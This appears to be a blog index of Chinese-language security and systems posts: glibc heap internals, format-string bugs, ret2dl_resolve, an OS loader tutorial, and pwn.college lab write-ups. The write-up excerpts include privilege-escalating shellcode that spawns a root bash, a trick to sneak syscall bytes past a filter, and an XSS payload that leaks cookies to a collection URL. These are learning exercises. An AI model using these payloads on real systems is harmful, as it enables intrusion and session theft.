heap
ptmalloc2ptmalloc2是现代Linux系统中glibc默认的内存分配器,基于Doug Lea的malloc(dlmalloc),在此基础上添加POSIX线程支持的多线程版(POSIX Thread Malloc)。 ptmalloc2的核心逻辑几乎全部集中在malloc()和free()两个函数的实现中(glibc/malloc/malloc.c),其他内存分配函数如realloc()、calloc()(分配n个连续的堆块并对内存进行清零)等都只是在这两者的基础上的封装。 在ptmalloc2中,堆内存的组织结构为chunk和bin: chunk:块是实际分配的内存单元,每次malloc都对应一个chunk。每个chunk包含元数据和用户数据两部分,元数据存储在chunk的前面,用于管理chunk的状态和大小等信息,大小为16字节(64位系统)。 bin: 桶是相同大小chunk的分类链表,用于快速重用空闲块。 unsorted bin: 只有一个bin双向链表,对应bins索引1,里面的chunk没有进行排序。 small bins: 共62...
format string
格式化字符串漏洞格式化字符串漏洞是由于程序在处理用户输入的格式化字符串时,没有正确验证输入内容,导致攻击者可以通过精心构造的格式化字符串来读取或写入内存中的任意数据,从而实现信息泄露或代码执行等攻击。 一般通过以下格式化符触发漏洞: %N$x: 读取寄存器或栈上第N个数据并以十六进制格式输出 %N$p: 读取寄存器或栈上第N个数据并以指针格式输出 %N$s: 读取寄存器或栈上第N个地址并输出该地址指向的字符串;若出现在scanf中且未限制长度,则存在缓冲区溢出漏洞 %N$n: 将已经输出的字符数写入寄存器或栈上第N个地址指向的内存位置 %Nc: 打印一个字符并用空格填充到N个字符 其中使用%N$x和%N$p可以泄露栈上的数据,而使用%N$s结合栈上的地址几乎可以进行任意地址读;使用%Nc与%N$n再结合栈上的地址可以实现任意地址写。 对于栈上构造地址,一般有两种情况: 一是可以直接对栈进行写操作,则可以直接将地址写入栈中; 而当无法直接写入栈时(比如只能向.bss段写入数据),即非栈格式化字符串的情况,则可以通过间接构造的方式来实现任意地址读写:先在栈中找到一个可控栈指针,...
pwn.college刷题小记(二):Program Security
Shellcode Injectionlevel 4禁止”0x48”(h), 即64位寄存器前缀, 使用32位寄存器即可(push, pop除外)。 // 先提权, 再启动bash。// setuid(0x69)为root(0)mov eax, 0x69mov edi, 0syscall// execve(0x3b) bashmov eax, 0x3blea edi, [rip+bash]mov esi, 0mov edx, 0syscallbash:.string "/bin/bash" level 5不能包含syscall(0x0f 0x05)、int(0x80)等指令, 使用执行时写即可。 mov bl, 0x0fmov [rip+syscall0], blmov bl, 0x05mov [rip+syscall1], blsyscall0:.byte 0x00syscall1:.byte 0x00 level 6新分配页不可写, 但栈可执行, 将系统调用在执行时写进栈中即可(使用jmp或call指令跳转)。 mov bl, 0x0fmov [rsp...
pwn.college刷题小记(一):Start
Web SecurityCSRF(Cross-Site Request Forgery)csrf-3, 要求执行alert脚本, 但alert必须来自80端口, 故不能直接从本站将脚本发给victim, 需要使用csrf插入xss。 payload = """<script>alert("pwn")</script>""" csrf-4, 本可以直接使用csrf将draft设置为publish, 但本题做了限制, 即使publish, 但如果是admin的publish也不会公开, 因此只能通过获取cookie伪造admin登录。 payload = """ <script> (new Image()).src = "http://localhost:1337/leak?cookie=" + document.cookie; </script>""" csrf-...
ret2dl_resolve
Link & Load对于一个使用gnu套件编译的elf文件,我们回顾一下它的文件结构 ELF头首先使用readelf -h命令读出它的elf头, 其中除了开头的magic number外, 还有两个字段特别值得关注, 即start of program headers和start of section headers, 程序头起始地址及节头起始地址, 这两个地址分别指向文件中的段头表和节头表。 程序头,也称段头(segment),是给loader加载器以及interpreter解释器使用,代表着进程运行时的内存布局。 而节头(section),是给linker链接器在文件链接阶段使用,代表程序的文件结构布局,在load过程中并不会被加载到内存。 根据elf头信息,就能得到一个标准elf文件的文件结构,如图所示: 首先是文件开头部分的elf头,紧接着elf头的就是段头,然后是各个节section,最后文件以节头表结尾 节头表对于文件的各个section节,我们可以通过readelf -S命令读出, 其中有几个值得关注的节: 首先是.interp节,该节的内容只有一个...
操作系统实现(三):二级引导程序loader
本节背景一级引导程序将处理器控制权交出后,便由二级引导程序完成主要的引导任务,包括硬件信息检测、处理器模式转换、页表配置等,并最终实现控制权向内核程序的转移。 本节目的 编写二级引导程序loader.asm 将二级引导程序装载到虚拟软盘镜像中 编写Makefile文件 实现由于自本节起,每节的任务量及代码量陡增,故不再依次贴上对应模块的代码,只有关键部分放相应代码,完整代码在github上查看。 首先照例定义本部分需要用到的常量,并规定起始地址0x10000。 此地址与boot的起始地址0x7c00的规定不同,boot的起始地址是早期的Intel大叔们规定并延续至今,在BIOS中写死的;而loader的起始地址是我们在boot中自己设置的,是在物理内存中较为随便地找出一块合适的空闲区域放置(具体物理内存空间分配见文章末尾)。 接着寄存器设置、清屏及显示加载信息等操作。 在完成了上述准备工作后,便是二级引导程序的第一个重点——加载内核程序。 实模式 -> 保护模式 -> Big Real Mode为了后续能够加载内核到1MB以上的内存,我们需要先打开A20地址线(关于...
